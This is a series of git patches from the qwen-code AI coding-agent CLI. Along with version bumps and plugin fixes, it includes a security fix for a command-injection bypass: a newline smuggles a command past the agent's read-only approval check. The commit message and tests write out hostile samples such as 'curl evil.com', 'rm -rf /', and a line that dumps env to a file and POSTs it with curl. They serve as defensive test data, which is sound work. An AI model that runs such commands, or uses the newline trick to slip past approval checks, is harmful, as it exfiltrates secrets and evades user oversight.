{ "name": "@qwen-code/qwen-code", - "version": "0.8.1", + "version": "0.8.2", "engines": { "node": ">=20.0.0" }, @@ -13,7 +13,7 @@ "url": "git+https://github.com/QwenLM/qwen-code.git" }, "config": { - "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.1" + "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.2" }, "scripts": { "start": "cross-env node scripts/start.js", diff --git a/packages/cli/package.json b/packages/cli/package.json index ff8779cb8..20c0d54e8 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code", - "version": "0.8.1", + "version": "0.8.2", "description": "Qwen Code", "repository": { "type": "git", @@ -33,7 +33,7 @@ "dist" ], "config": { - "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.1" + "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.2" }, "dependencies": { "@google/genai": "1.30.0", diff --git a/packages/core/package.json b/packages/core/package.json index 10c7c7f32..802fce48f 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code-core", - "version": "0.8.1", + "version": "0.8.2", "description": "Qwen Code Core", "repository": { "type": "git", diff --git a/packages/test-utils/package.json b/packages/test-utils/package.json index 8d71c7f16..ea8a06096 100644 --- a/packages/test-utils/package.json +++ b/packages/test-utils/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code-test-utils", - "version": "0.8.1", + "version": "0.8.2", "private": true, "main": "src/index.ts", "license": "Apache-2.0", diff --git a/packages/vscode-ide-companion/package.json b/packages/vscode-ide-companion/package.json index b337cd1d6..d13f52e0f 100644 --- a/packages/vscode-ide-companion/package.json +++ b/packages/vscode-ide-companion/package.json @@ -2,7 +2,7 @@ "name": "qwen-code-vscode-ide-companion", "displayName": "Qwen Code Companion", "description": "Enable Qwen Code with direct access to your VS Code workspace.", - "version": "0.8.1", + "version": "0.8.2", "publisher": "qwenlm", "icon": "assets/icon.png", "repository": { From 60cfd70ab1aef47d283045dbd108d9e891ae2cb3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 Jan 2026 13:53:28 +0000 Subject: [PATCH 59/79] chore(release): sdk-typescript v0.1.4 --- package-lock.json | 2 +- packages/sdk-typescript/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/package-lock.json b/package-lock.json index 63dd65190..ea3d95571 100644 --- a/package-lock.json +++ b/package-lock.json @@ -18605,7 +18605,7 @@ }, "packages/sdk-typescript": { "name": "@qwen-code/sdk", - "version": "0.1.3", + "version": "0.1.4", "license": "Apache-2.0", "dependencies": { "@modelcontextprotocol/sdk": "^1.25.1", diff --git a/packages/sdk-typescript/package.json b/packages/sdk-typescript/package.json index 7c4486d9d..6215f6a09 100644 --- a/packages/sdk-typescript/package.json +++ b/packages/sdk-typescript/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/sdk", - "version": "0.1.3", + "version": "0.1.4", "description": "TypeScript SDK for programmatic access to qwen-code CLI", "main": "./dist/index.cjs", "module": "./dist/index.mjs", From 788a9f9d1004f53e4f3313adc080cda98c5a64c1 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 09:42:10 +0800 Subject: [PATCH 60/79] fix: ensure output-language.md is created before config initialization Move initializeLlmOutputLanguage() to execute before loadCliConfig() to fix a race condition where the language file wasn't included in LLM context on first run. Co-authored-by: Qwen-Coder --- packages/cli/src/core/initializer.ts | 4 ---- packages/cli/src/gemini.tsx | 5 +++++ 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/packages/cli/src/core/initializer.ts b/packages/cli/src/core/initializer.ts index fe81816d9..7f7dd508e 100644 --- a/packages/cli/src/core/initializer.ts +++ b/packages/cli/src/core/initializer.ts @@ -15,7 +15,6 @@ import { type LoadedSettings, SettingScope } from '../config/settings.js'; import { performInitialAuth } from './auth.js'; import { validateTheme } from './theme.js'; import { initializeI18n, type SupportedLanguage } from '../i18n/index.js'; -import { initializeLlmOutputLanguage } from '../utils/languageUtils.js'; export interface InitializationResult { authError: string | null; @@ -42,9 +41,6 @@ export async function initializeApp( 'auto'; await initializeI18n(languageSetting as SupportedLanguage | 'auto'); - // Auto-detect and set LLM output language on first use - initializeLlmOutputLanguage(settings.merged.general?.outputLanguage); - // Use authType from modelsConfig which respects CLI --auth-type argument // over settings.security.auth.selectedType const authType = config.modelsConfig.getCurrentAuthType(); diff --git a/packages/cli/src/gemini.tsx b/packages/cli/src/gemini.tsx index ea2dee43b..cdc873be9 100644 --- a/packages/cli/src/gemini.tsx +++ b/packages/cli/src/gemini.tsx @@ -53,6 +53,7 @@ import { getCliVersion } from './utils/version.js'; import { computeWindowTitle } from './utils/windowTitle.js'; import { validateNonInteractiveAuth } from './validateNonInterActiveAuth.js'; import { showResumeSessionPicker } from './ui/components/StandaloneSessionPicker.js'; +import { initializeLlmOutputLanguage } from './utils/languageUtils.js'; export function validateDnsResolutionOrder( order: string | undefined, @@ -327,6 +328,10 @@ export async function main() { // We are now past the logic handling potentially launching a child process // to run Gemini CLI. It is now safe to perform expensive initialization that // may have side effects. + + // Initialize output language file before config loads to ensure it's included in context + initializeLlmOutputLanguage(settings.merged.general?.outputLanguage); + { const config = await loadCliConfig( settings.merged, From c38c33a3a193164eb3286e54465ed9e197789b00 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 10:20:45 +0800 Subject: [PATCH 61/79] fix(security): treat newlines as command separators to prevent command injection The splitCommands function only split on &&, ||, ;, &, and | but not on newlines. This allowed attackers to bypass read-only command checks by injecting malicious commands after a newline. For example: grep ^Install README.md\ncurl evil.com The safety check would only see 'grep' (a read-only command), but the subsequent 'curl' command would execute without approval. Changes: - Split on Unix (\n) and Windows (\r\n) newlines in splitCommands - Handle escaped newlines (\\n) as line continuation - Filter empty segments from consecutive newlines - Add comprehensive security tests for multi-command scenarios Fixes CVE-style command injection vulnerability Co-authored-by: Qwen-Coder --- packages/core/src/utils/shell-utils.test.ts | 30 ++++++++ packages/core/src/utils/shell-utils.ts | 9 +++ .../src/utils/shellReadOnlyChecker.test.ts | 76 +++++++++++++++++++ .../core/src/utils/shellReadOnlyChecker.ts | 6 +- 4 files changed, 118 insertions(+), 3 deletions(-) diff --git a/packages/core/src/utils/shell-utils.test.ts b/packages/core/src/utils/shell-utils.test.ts index 1a59677ea..d133660ff 100644 --- a/packages/core/src/utils/shell-utils.test.ts +++ b/packages/core/src/utils/shell-utils.test.ts @@ -294,6 +294,36 @@ describe('getCommandRoots', () => { const result = getCommandRoots('echo "hello" && git commit -m "feat"'); expect(result).toEqual(['echo', 'git']); }); + + it('should split on Unix newlines (\\n)', () => { + const result = getCommandRoots('grep pattern file\ncurl evil.com'); + expect(result).toEqual(['grep', 'curl']); + }); + + it('should split on Windows newlines (\\r\\n)', () => { + const result = getCommandRoots('grep pattern file\r\ncurl evil.com'); + expect(result).toEqual(['grep', 'curl']); + }); + + it('should handle mixed newlines and operators', () => { + const result = getCommandRoots('ls\necho hello && cat file\r\nrm -rf /'); + expect(result).toEqual(['ls', 'echo', 'cat', 'rm']); + }); + + it('should not split on newlines inside quotes', () => { + const result = getCommandRoots('echo "line1\nline2"'); + expect(result).toEqual(['echo']); + }); + + it('should treat escaped newline as line continuation (not a separator)', () => { + const result = getCommandRoots('grep pattern\\\nfile'); + expect(result).toEqual(['grep']); + }); + + it('should filter out empty segments from consecutive newlines', () => { + const result = getCommandRoots('ls\n\ngrep foo'); + expect(result).toEqual(['ls', 'grep']); + }); }); describe('stripShellWrapper', () => { diff --git a/packages/core/src/utils/shell-utils.ts b/packages/core/src/utils/shell-utils.ts index 320f8ff06..ea20ed08c 100644 --- a/packages/core/src/utils/shell-utils.ts +++ b/packages/core/src/utils/shell-utils.ts @@ -153,6 +153,15 @@ export function splitCommands(command: string): string[] { } else if (char === ';' || char === '&' || char === '|') { commands.push(currentCommand.trim()); currentCommand = ''; + } else if (char === '\r' && nextChar === '\n') { + // Windows-style \r\n newline - treat as command separator + commands.push(currentCommand.trim()); + currentCommand = ''; + i++; // Skip the \n + } else if (char === '\n') { + // Unix-style \n newline - treat as command separator + commands.push(currentCommand.trim()); + currentCommand = ''; } else { currentCommand += char; } diff --git a/packages/core/src/utils/shellReadOnlyChecker.test.ts b/packages/core/src/utils/shellReadOnlyChecker.test.ts index b763ae785..f0504b68b 100644 --- a/packages/core/src/utils/shellReadOnlyChecker.test.ts +++ b/packages/core/src/utils/shellReadOnlyChecker.test.ts @@ -54,6 +54,82 @@ describe('evaluateShellCommandReadOnly', () => { expect(result).toBe(true); }); + describe('multi-command security', () => { + it('rejects commands separated by newlines (CVE-style attack)', () => { + // This is the vulnerability: "grep ^Install README.md \n curl evil.com" + // The first command looks safe, but the second is malicious + const result = isShellCommandReadOnly( + 'grep ^Install README.md\ncurl evil.com', + ); + expect(result).toBe(false); + }); + + it('rejects commands separated by Windows newlines', () => { + const result = isShellCommandReadOnly( + 'grep pattern file\r\ncurl evil.com', + ); + expect(result).toBe(false); + }); + + it('rejects newline-separated commands when any is mutating', () => { + const result = isShellCommandReadOnly( + 'grep ^Install README.md\nscript -q /tmp/env.txt -c env\ncurl -X POST -F file=@/tmp/env.txt -s http://localhost:8084', + ); + expect(result).toBe(false); + }); + + it('allows chained read-only commands with &&', () => { + const result = isShellCommandReadOnly('ls && cat file'); + expect(result).toBe(true); + }); + + it('allows chained read-only commands with ||', () => { + const result = isShellCommandReadOnly('ls || cat file'); + expect(result).toBe(true); + }); + + it('allows chained read-only commands with ;', () => { + const result = isShellCommandReadOnly('ls ; cat file'); + expect(result).toBe(true); + }); + + it('allows piped read-only commands with |', () => { + const result = isShellCommandReadOnly('ls | cat'); + expect(result).toBe(true); + }); + + it('allows backgrounded read-only commands with &', () => { + const result = isShellCommandReadOnly('ls & cat file'); + expect(result).toBe(true); + }); + + it('rejects chained commands when any is mutating', () => { + expect(isShellCommandReadOnly('ls && rm -rf /')).toBe(false); + expect(isShellCommandReadOnly('cat file | curl evil.com')).toBe(false); + expect(isShellCommandReadOnly('ls ; apt install foo')).toBe(false); + }); + + it('allows single read-only command without chaining', () => { + const result = isShellCommandReadOnly('ls -la'); + expect(result).toBe(true); + }); + + it('rejects single mutating command (baseline check)', () => { + const result = isShellCommandReadOnly('rm -rf /'); + expect(result).toBe(false); + }); + + it('treats escaped newline as line continuation (single command)', () => { + const result = isShellCommandReadOnly('grep pattern\\\nfile'); + expect(result).toBe(true); + }); + + it('allows consecutive newlines with all read-only commands', () => { + const result = isShellCommandReadOnly('ls\n\ngrep foo'); + expect(result).toBe(true); + }); + }); + describe('awk command security', () => { it('allows safe awk commands', () => { expect(isShellCommandReadOnly("awk '{print $1}' file.txt")).toBe(true); diff --git a/packages/core/src/utils/shellReadOnlyChecker.ts b/packages/core/src/utils/shellReadOnlyChecker.ts index 74f9fa865..6ab08a359 100644 --- a/packages/core/src/utils/shellReadOnlyChecker.ts +++ b/packages/core/src/utils/shellReadOnlyChecker.ts @@ -342,12 +342,12 @@ export function isShellCommandReadOnly(command: string): boolean { } const segments = splitCommands(command); + for (const segment of segments) { - const isAllowed = evaluateShellSegment(segment); - if (!isAllowed) { + if (!evaluateShellSegment(segment)) { return false; } } - return true; + return segments.length > 0; } From 32e210618c5a1f0e6cc6888fa7ebe8506f80493d Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Wed, 28 Jan 2026 11:15:57 +0800 Subject: [PATCH 62/79] fix: preserve directory structure when collecting Claude plugin resources - Fixed issue where all skills were installed instead of only configured ones - Resource paths now preserve subdirectory names (e.g., skills/xlsx -> skills/xlsx/) - Support default fallback: use all resources from folder if not specified in config - Added comprehensive tests covering explicit config, default behavior, and nested structures --- .../src/extension/claude-converter.test.ts | 232 +++++++++++++++++- .../core/src/extension/claude-converter.ts | 52 ++-- 2 files changed, 263 insertions(+), 21 deletions(-) diff --git a/packages/core/src/extension/claude-converter.test.ts b/packages/core/src/extension/claude-converter.test.ts index 9e74b07bf..079d46b19 100644 --- a/packages/core/src/extension/claude-converter.test.ts +++ b/packages/core/src/extension/claude-converter.test.ts @@ -4,13 +4,18 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { describe, it, expect } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import * as os from 'node:os'; import { convertClaudeToQwenConfig, mergeClaudeConfigs, isClaudePluginConfig, + convertClaudePluginPackage, type ClaudePluginConfig, type ClaudeMarketplacePluginConfig, + type ClaudeMarketplaceConfig, } from './claude-converter.js'; describe('convertClaudeToQwenConfig', () => { @@ -119,3 +124,228 @@ describe('isClaudePluginConfig', () => { ); }); }); + +describe('convertClaudePluginPackage', () => { + let testDir: string; + + beforeEach(() => { + // Create a temporary directory for test files + testDir = fs.mkdtempSync(path.join(os.tmpdir(), 'claude-test-')); + }); + + afterEach(() => { + // Clean up test directory + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true, force: true }); + } + }); + + it('should only collect specified skills when config provides explicit list', async () => { + // Setup: Create a plugin source with multiple skills + const pluginSourceDir = path.join(testDir, 'plugin-source'); + fs.mkdirSync(pluginSourceDir, { recursive: true }); + + // Create skills directory with 6 skills + const skillsDir = path.join(pluginSourceDir, 'skills'); + fs.mkdirSync(skillsDir, { recursive: true }); + + const allSkills = ['xlsx', 'docx', 'pptx', 'pdf', 'csv', 'txt']; + for (const skill of allSkills) { + const skillDir = path.join(skillsDir, skill); + fs.mkdirSync(skillDir, { recursive: true }); + fs.writeFileSync( + path.join(skillDir, 'SKILL.md'), + `# ${skill} skill`, + 'utf-8', + ); + fs.writeFileSync( + path.join(skillDir, 'index.js'), + `module.exports = {};`, + 'utf-8', + ); + } + + // Create marketplace.json that only specifies 4 skills + const marketplaceDir = path.join(pluginSourceDir, '.claude-plugin'); + fs.mkdirSync(marketplaceDir, { recursive: true }); + + const marketplaceConfig: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [ + { + name: 'document-skills', + version: '1.0.0', + description: 'Test document skills', + source: './', + strict: false, + skills: [ + './skills/xlsx', + './skills/docx', + './skills/pptx', + './skills/pdf', + ], + }, + ], + }; + + fs.writeFileSync( + path.join(marketplaceDir, 'marketplace.json'), + JSON.stringify(marketplaceConfig, null, 2), + 'utf-8', + ); + + // Execute: Convert the plugin + const result = await convertClaudePluginPackage( + pluginSourceDir, + 'document-skills', + ); + + // Verify: Only specified skills should be present + const convertedSkillsDir = path.join(result.convertedDir, 'skills'); + expect(fs.existsSync(convertedSkillsDir)).toBe(true); + + const installedSkills = fs.readdirSync(convertedSkillsDir); + expect(installedSkills.sort()).toEqual(['docx', 'pdf', 'pptx', 'xlsx']); + + // Verify each skill has its own directory with proper structure + for (const skill of ['xlsx', 'docx', 'pptx', 'pdf']) { + const skillDir = path.join(convertedSkillsDir, skill); + expect(fs.existsSync(skillDir)).toBe(true); + expect(fs.existsSync(path.join(skillDir, 'SKILL.md'))).toBe(true); + expect(fs.existsSync(path.join(skillDir, 'index.js'))).toBe(true); + } + + // Verify csv and txt skills are NOT installed + expect(fs.existsSync(path.join(convertedSkillsDir, 'csv'))).toBe(false); + expect(fs.existsSync(path.join(convertedSkillsDir, 'txt'))).toBe(false); + + // Clean up converted directory + fs.rmSync(result.convertedDir, { recursive: true, force: true }); + }); + + it('should use all skills from folder when config does not specify skills', async () => { + // Setup: Create a plugin source with skills but no skills config + const pluginSourceDir = path.join(testDir, 'plugin-source-default'); + fs.mkdirSync(pluginSourceDir, { recursive: true }); + + // Create skills directory with 3 skills + const skillsDir = path.join(pluginSourceDir, 'skills'); + fs.mkdirSync(skillsDir, { recursive: true }); + + const allSkills = ['skill-a', 'skill-b', 'skill-c']; + for (const skill of allSkills) { + const skillDir = path.join(skillsDir, skill); + fs.mkdirSync(skillDir, { recursive: true }); + fs.writeFileSync(path.join(skillDir, 'SKILL.md'), `# ${skill}`, 'utf-8'); + } + + // Create marketplace.json WITHOUT skills field + const marketplaceDir = path.join(pluginSourceDir, '.claude-plugin'); + fs.mkdirSync(marketplaceDir, { recursive: true }); + + const marketplaceConfig: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [ + { + name: 'default-skills', + version: '1.0.0', + description: 'Test default skills behavior', + source: './', + strict: false, + // No skills field - should use all skills from folder + }, + ], + }; + + fs.writeFileSync( + path.join(marketplaceDir, 'marketplace.json'), + JSON.stringify(marketplaceConfig, null, 2), + 'utf-8', + ); + + // Execute: Convert the plugin + const result = await convertClaudePluginPackage( + pluginSourceDir, + 'default-skills', + ); + + // Verify: All skills should be present + const convertedSkillsDir = path.join(result.convertedDir, 'skills'); + expect(fs.existsSync(convertedSkillsDir)).toBe(true); + + const installedSkills = fs.readdirSync(convertedSkillsDir); + expect(installedSkills.sort()).toEqual(['skill-a', 'skill-b', 'skill-c']); + + // Clean up converted directory + fs.rmSync(result.convertedDir, { recursive: true, force: true }); + }); + + it('should preserve directory structure when collecting skills', async () => { + // Setup: Create a plugin with nested skill structure + const pluginSourceDir = path.join(testDir, 'plugin-nested'); + fs.mkdirSync(pluginSourceDir, { recursive: true }); + + // Create nested skill directory + const skillsDir = path.join(pluginSourceDir, 'skills'); + const nestedSkillDir = path.join(skillsDir, 'nested-skill', 'subdir'); + fs.mkdirSync(nestedSkillDir, { recursive: true }); + + fs.writeFileSync( + path.join(skillsDir, 'nested-skill', 'SKILL.md'), + '# Nested Skill', + 'utf-8', + ); + fs.writeFileSync( + path.join(nestedSkillDir, 'helper.js'), + 'module.exports = {};', + 'utf-8', + ); + + // Create marketplace.json + const marketplaceDir = path.join(pluginSourceDir, '.claude-plugin'); + fs.mkdirSync(marketplaceDir, { recursive: true }); + + const marketplaceConfig: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [ + { + name: 'nested-plugin', + version: '1.0.0', + description: 'Test nested structure', + source: './', + strict: false, + skills: ['./skills/nested-skill'], + }, + ], + }; + + fs.writeFileSync( + path.join(marketplaceDir, 'marketplace.json'), + JSON.stringify(marketplaceConfig, null, 2), + 'utf-8', + ); + + // Execute: Convert the plugin + const result = await convertClaudePluginPackage( + pluginSourceDir, + 'nested-plugin', + ); + + // Verify: Nested structure should be preserved + const convertedSkillsDir = path.join(result.convertedDir, 'skills'); + expect(fs.existsSync(convertedSkillsDir)).toBe(true); + + const nestedSkillPath = path.join(convertedSkillsDir, 'nested-skill'); + expect(fs.existsSync(nestedSkillPath)).toBe(true); + expect(fs.existsSync(path.join(nestedSkillPath, 'SKILL.md'))).toBe(true); + expect( + fs.existsSync(path.join(nestedSkillPath, 'subdir', 'helper.js')), + ).toBe(true); + + // Clean up converted directory + fs.rmSync(result.convertedDir, { recursive: true, force: true }); + }); +}); diff --git a/packages/core/src/extension/claude-converter.ts b/packages/core/src/extension/claude-converter.ts index 224a22b11..a27084ed7 100644 --- a/packages/core/src/extension/claude-converter.ts +++ b/packages/core/src/extension/claude-converter.ts @@ -433,28 +433,36 @@ export async function convertClaudePluginPackage( // Step 6: Copy plugin files to temporary directory await copyDirectory(pluginSource, tmpDir); - // Step 7: Collect commands to commands folder - if (mergedConfig.commands) { - const commandsDestDir = path.join(tmpDir, 'commands'); - await collectResources( - mergedConfig.commands, - pluginSource, - commandsDestDir, - ); + // Step 6.1: Handle commands/skills/agents folders based on configuration + // If configuration specifies resources, only collect those + // If configuration doesn't specify, keep the existing folder (if exists) + const resourceConfigs = [ + { name: 'commands', config: mergedConfig.commands }, + { name: 'skills', config: mergedConfig.skills }, + { name: 'agents', config: mergedConfig.agents }, + ]; + + for (const { name, config } of resourceConfigs) { + const folderPath = path.join(tmpDir, name); + const sourceFolderPath = path.join(pluginSource, name); + + // If config explicitly specifies resources, remove existing folder and collect only specified ones + if (config) { + if (fs.existsSync(folderPath)) { + fs.rmSync(folderPath, { recursive: true, force: true }); + } + await collectResources(config, pluginSource, folderPath); + } + // If config doesn't specify and source folder doesn't exist in pluginSource, + // remove it from tmpDir (it was copied but not needed) + else if (!fs.existsSync(sourceFolderPath) && fs.existsSync(folderPath)) { + fs.rmSync(folderPath, { recursive: true, force: true }); + } + // Otherwise, keep the existing folder from pluginSource (default behavior) } - // Step 8: Collect skills to skills folder - if (mergedConfig.skills) { - const skillsDestDir = path.join(tmpDir, 'skills'); - await collectResources(mergedConfig.skills, pluginSource, skillsDestDir); - } - - // Step 9: Collect agents to agents folder - const agentsDestDir = path.join(tmpDir, 'agents'); - if (mergedConfig.agents) { - await collectResources(mergedConfig.agents, pluginSource, agentsDestDir); - } // Step 9.1: Convert collected agent files from Claude format to Qwen format + const agentsDestDir = path.join(tmpDir, 'agents'); await convertAgentFiles(agentsDestDir); // Step 10: Convert to Qwen format config @@ -531,6 +539,10 @@ async function collectResources( continue; } + // Determine destination: preserve the directory name + // e.g., ./skills/xlsx -> tmpDir/skills/xlsx/ + const finalDestDir = path.join(destDir, dirName); + // Copy all files from the directory const files = await glob('**/*', { cwd: resolvedPath, @@ -540,7 +552,7 @@ async function collectResources( for (const file of files) { const srcFile = path.join(resolvedPath, file); - const destFile = path.join(destDir, file); + const destFile = path.join(finalDestDir, file); // Ensure parent directory exists const destFileDir = path.dirname(destFile); From 4ac3df1b63454c8444246b295dc5cbee0383afa5 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 12:08:56 +0800 Subject: [PATCH 63/79] feat: add concurrent runner for batch CLI execution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a Python-based concurrent runner that executes multiple Qwen CLI tasks across different models in parallel using isolated git worktrees. Features: - Execute N tasks × M models concurrently with configurable concurrency - Create isolated git worktrees for each run under ~/.qwen/worktrees - Real-time progress display with Rich library - Capture stdout, stderr, and OpenAI API logs per run - Atomic JSON tracking of all runs with status and metadata - Automatic cleanup of worktrees after each run Structure: - runner.py: Main implementation with asyncio - requirements.txt: Python dependencies - README.md: Documentation and usage - config.example.json: Configuration template - examples/: Toy example with sample config and project Usage: python runner.py config.json Each run creates an isolated output directory: outputs/{run_id}/ ├── stdout.txt ├── stderr.txt └── logs/openai-*.json Co-authored-by: Qwen-Coder --- integration-tests/concurrent-runner/README.md | 138 ++++ .../concurrent-runner/config.example.json | 34 + .../examples/toy-config.json | 26 + .../examples/toy-project/package.json | 11 + .../concurrent-runner/requirements.txt | 2 + integration-tests/concurrent-runner/runner.py | 691 ++++++++++++++++++ 6 files changed, 902 insertions(+) create mode 100644 integration-tests/concurrent-runner/README.md create mode 100644 integration-tests/concurrent-runner/config.example.json create mode 100644 integration-tests/concurrent-runner/examples/toy-config.json create mode 100644 integration-tests/concurrent-runner/examples/toy-project/package.json create mode 100644 integration-tests/concurrent-runner/requirements.txt create mode 100644 integration-tests/concurrent-runner/runner.py diff --git a/integration-tests/concurrent-runner/README.md b/integration-tests/concurrent-runner/README.md new file mode 100644 index 000000000..f19c12239 --- /dev/null +++ b/integration-tests/concurrent-runner/README.md @@ -0,0 +1,138 @@ +# Qwen Concurrent Runner + +A Python tool for executing multiple Qwen CLI tasks across different models concurrently using isolated git worktrees. + +## Overview + +This tool enables you to: + +- Run multiple tasks against multiple models in parallel +- Create isolated git worktrees for each execution +- Track execution status in real-time +- Capture and store all outputs (stdout, stderr, and OpenAI logs) +- Resume or analyze results after completion + +## Installation + +```bash +# Install dependencies +pip install -r requirements.txt +``` + +## Usage + +```bash +python runner.py config.json +``` + +## Configuration + +Create a JSON configuration file (see `config.example.json`): + +```json +{ + "concurrency": 3, + "yolo": true, + "source_repo": ".", + "worktree_base": "~/.qwen/worktrees", + "outputs_dir": "./outputs", + "results_file": "./results.json", + "tasks": [ + { + "id": "code-review", + "name": "Security Code Review", + "prompts": ["Review the codebase for security vulnerabilities."] + } + ], + "models": ["claude-3-5-sonnet-20241022", "qwen3-coder-plus"] +} +``` + +### Configuration Options + +| Option | Type | Default | Description | +| --------------- | ------ | ----------------- | -------------------------------- | +| `concurrency` | int | 4 | Maximum parallel executions | +| `yolo` | bool | true | Auto-approve all actions | +| `source_repo` | string | . | Source git repository path | +| `worktree_base` | string | ~/.qwen/worktrees | Base directory for git worktrees | +| `outputs_dir` | string | ./outputs | Directory for captured output | +| `results_file` | string | ./results.json | JSON file for run tracking | +| `tasks` | array | [] | List of task definitions | +| `models` | array | [] | List of model identifiers | + +### Task Definition + +Each task has: + +- `id`: Unique identifier +- `name`: Human-readable name +- `prompts`: Array of prompt strings (joined with newlines) + +## Output Structure + +Each run creates an isolated output directory: + +``` +outputs/ +├── {run_id}/ +│ ├── stdout.txt # CLI stdout +│ ├── stderr.txt # CLI stderr +│ └── logs/ # OpenAI API logs +│ └── openai-*.json +``` + +## results.json + +```json +{ + "updated_at": "2026-01-28T10:30:00", + "runs": [ + { + "run_id": "abc123", + "task_id": "code-review", + "task_name": "Security Code Review", + "model": "qwen3-coder-plus", + "status": "succeeded", + "worktree_path": "~/.qwen/worktrees/run-abc123", + "output_dir": "outputs/abc123", + "logs_dir": "outputs/abc123/logs", + "started_at": "2026-01-28T10:00:00", + "ended_at": "2026-01-28T10:05:00", + "exit_code": 0, + "stdout_file": "outputs/abc123/stdout.txt", + "stderr_file": "outputs/abc123/stderr.txt" + } + ] +} +``` + +## Execution Flow + +1. **Generate Matrix**: Create N×M run combinations (tasks × models) +2. **Create Worktree**: Git worktree add from source repo +3. **Initialize**: npm install && npm run build +4. **Execute**: Run qwen CLI with captured output (logs go to run-specific folder) +5. **Cleanup**: Remove git worktree (always executed) + +## Status Values + +- `queued`: Waiting to start +- `preparing`: Creating git worktree +- `initializing`: Running npm install + build +- `running`: Executing qwen CLI +- `succeeded`: Completed successfully +- `failed`: Error occurred + +## Requirements + +- Python 3.10+ +- Git repository (for worktree operations) +- Node.js and npm (for build step) +- `qwen` CLI in PATH + +## Exit Codes + +- 0: All runs succeeded +- 1: One or more runs failed +- 130: Interrupted by user (Ctrl+C) diff --git a/integration-tests/concurrent-runner/config.example.json b/integration-tests/concurrent-runner/config.example.json new file mode 100644 index 000000000..5efe5178f --- /dev/null +++ b/integration-tests/concurrent-runner/config.example.json @@ -0,0 +1,34 @@ +{ + "concurrency": 3, + "yolo": true, + "source_repo": ".", + "worktree_base": "~/.qwen/worktrees", + "outputs_dir": "./outputs", + "results_file": "./results.json", + "tasks": [ + { + "id": "code-review", + "name": "Security Code Review", + "prompts": [ + "Review the codebase for security vulnerabilities.", + "Focus on input validation, authentication, and data handling." + ] + }, + { + "id": "refactor", + "name": "Refactoring Suggestions", + "prompts": [ + "Analyze the code structure and suggest refactoring improvements.", + "Prioritize changes that improve maintainability and performance." + ] + }, + { + "id": "docs", + "name": "Documentation Generation", + "prompts": [ + "Generate comprehensive API documentation for the main modules." + ] + } + ], + "models": ["claude-3-5-sonnet-20241022", "qwen3-coder-plus"] +} diff --git a/integration-tests/concurrent-runner/examples/toy-config.json b/integration-tests/concurrent-runner/examples/toy-config.json new file mode 100644 index 000000000..51eabff61 --- /dev/null +++ b/integration-tests/concurrent-runner/examples/toy-config.json @@ -0,0 +1,26 @@ +{ + "concurrency": 2, + "yolo": true, + "source_repo": "/Users/andy/workspace/projects/qwen-code/integration-tests/concurrent-runner/examples/toy-project", + "worktree_base": "~/.qwen/worktrees", + "outputs_dir": "./examples/outputs", + "results_file": "./examples/results.json", + "tasks": [ + { + "id": "task-1", + "name": "Rabbit Counting", + "prompts": [ + "Suppose we have 3 rabbits and 4 carrots. How many animals are there?" + ] + }, + { + "id": "task-2", + "name": "AGI Prediction", + "prompts": [ + "Use shell tool to get current date", + "Predict how many dates left until we have AGI (artificial general intelligence)" + ] + } + ], + "models": ["qwen3-coder-plus", "kimi-k2.5"] +} diff --git a/integration-tests/concurrent-runner/examples/toy-project/package.json b/integration-tests/concurrent-runner/examples/toy-project/package.json new file mode 100644 index 000000000..fd6439fd8 --- /dev/null +++ b/integration-tests/concurrent-runner/examples/toy-project/package.json @@ -0,0 +1,11 @@ +{ + "name": "toy-project", + "version": "1.0.0", + "description": "Minimal toy project for testing", + "scripts": { + "build": "echo 'Build complete!'" + }, + "keywords": [], + "author": "", + "license": "MIT" +} diff --git a/integration-tests/concurrent-runner/requirements.txt b/integration-tests/concurrent-runner/requirements.txt new file mode 100644 index 000000000..f1a4d5adc --- /dev/null +++ b/integration-tests/concurrent-runner/requirements.txt @@ -0,0 +1,2 @@ +rich>=13.0.0 +aiofiles>=23.0.0 diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py new file mode 100644 index 000000000..23bf6ee88 --- /dev/null +++ b/integration-tests/concurrent-runner/runner.py @@ -0,0 +1,691 @@ +#!/usr/bin/env python3 +""" +Qwen Concurrent Runner - Execute multiple CLI tasks across different models concurrently. + +This tool creates isolated git worktrees for each task/model combination and executes +the Qwen CLI in parallel with status tracking and output capture. +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +import shutil +import subprocess +import sys +import uuid +from dataclasses import dataclass, field, asdict +from datetime import datetime +from enum import Enum +from pathlib import Path +from typing import List, Optional, Dict, Any + +from rich.console import Console +from rich.live import Live +from rich.table import Table +from rich.panel import Panel +from rich.progress import Progress, TaskID +import aiofiles +import aiofiles.os + + +class RunStatus(Enum): + """Execution status for a single run.""" + QUEUED = "queued" + PREPARING = "preparing" + INITIALIZING = "initializing" + RUNNING = "running" + SUCCEEDED = "succeeded" + FAILED = "failed" + CLEANING = "cleaning" + + 